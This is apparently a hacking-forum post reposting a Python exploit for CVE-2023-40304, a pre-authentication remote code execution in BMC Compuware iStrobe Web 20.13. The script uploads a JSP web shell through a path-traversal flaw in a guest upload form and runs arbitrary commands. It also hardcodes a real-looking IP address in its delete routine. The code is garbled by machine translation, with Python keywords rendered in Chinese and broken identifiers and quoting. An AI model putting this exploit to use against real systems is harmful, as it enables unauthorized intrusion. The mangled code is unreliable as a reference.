H

BMC Compuware Istrobe Web -20.13 -Pre -auth RCE

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#!/usr/bin/env Python3
#exploit title: compuware iStrobe web上的pre-auth rce
#日期: 01-08-2023
#利用作者: trancap
#供应商HomePage: https://www.bmc.com/
#版本: BMC Compuware Istrobe Web -20.13
#测试在: ZOS#CVE : CVE-2023-40304
#要利用此漏洞,您需要启用“访客访问”。漏洞非常简单,会影响网络上传表单,允许路径遍历和任意文件上传(.jsp文件)
#该表单的脆弱参数是“文件名”。使用该表单,可以上传Webshell(“ ToctictExt”参数中的网络壳的内容)。#我联系了供应商,但由于需要访客访问权限,他并不认为这是一个漏洞。
导入请求
导入Urllib.Parse
导入argparse
导入系统
def upload_web_shell(url):
data={'filename':'./jsp/userHelp/ws.jsp','rutier':'guest','name':'stest','action':'open','toctictext':'%@%@%@%@
page import=\'java.lang。,java.io。,java.util。*\'%%进程
p=runtime.getRuntime()。exec(request.getParameter(\'cmd \')); bufferedReader
stdinput=new BufferedReader(新
InputStreamReader(P.GetInputStream())); BufferedReader stderror=new
BufferedReader(new InputStreamReader(P.GetErrorstream()));字符串
s=\'\'; while((s=stdinput.readline())!=
null){out.println(s);}; s=\'\'; while((s=stderror.readline())!=
null){out.println(s);};%','lang':'en','type':'module','status':'pub'}
#如果编码,将无法正确上传Web壳
data=urllib.parse.urlencode(data,safe=''*,=()/; {}!')
#检查网络外壳是否已经上传
r=requests.get(f'{url}/strobe/jsp/userhelp/ws.jsp',verify=false)
如果r.status_code!=404:
返回
r=requests.post(f'{url}/istrobe/userHelp/saveuserhelp',data=data,
验证=false)
如果r.status_code==200:
打印(F'[+]成功上传的Web Shell,应该是
可访问{url}/istrobe/jsp/userhelp/ws.jsp')
其他:
sys.exit('[ - ]上载Web Shell时出了问题')
def delete_web_shell(url):
paramspost={'fileName':'./jsp/userHelp/ws.jsp','rutire':'guest','name':'s'test','ancy':'delete','lang':'en'','lang':
响应=session.post('http://220.4.147.38:6301/istrobe/userHelp/deleteuserhelp',
data=paramspost,标头=标题,cookie=cookie)
如果r.status_code==200:
打印(F'[+]成功删除的Web Shell')
其他:
sys.exit('[ - ]删除网络外壳时出了问题')
DEF RUN_CMD(URL,CMD):
data=f'cmd={cmd}'
r=requests.post(f'{url}/strobe/jsp/userhelp/ws.jsp',data=data,
验证=false)
如果r.status_code==200:
印刷(R.Text)
其他:
sys.exit(f'[ - ]执行'{cmd}'命令')
parser=argparse.argumentparser(prog='exploit_cve_2023_40304.py',description='cve-2023-40304-Pre-auth pre-auth文件上传脆弱性+路径traveralsion + PATH traversal tea rce')
parser.add_argument('url',help='target的脆弱URL。必须像http(S): //vulen.target')
parser.add_argument(' - c',' - cmd',help='命令在远程主机上执行(默认为'whoami')',默认='whoami')
parser.add_argument(' - rm',help='删除上传的web shell',action='store_true')
args=parser.parse_args()
upload_web_shell(args.url)
run_cmd(args.url,args.cmd)
如果Args.RM:
delete_web_shell(args.url)
 
后退
顶部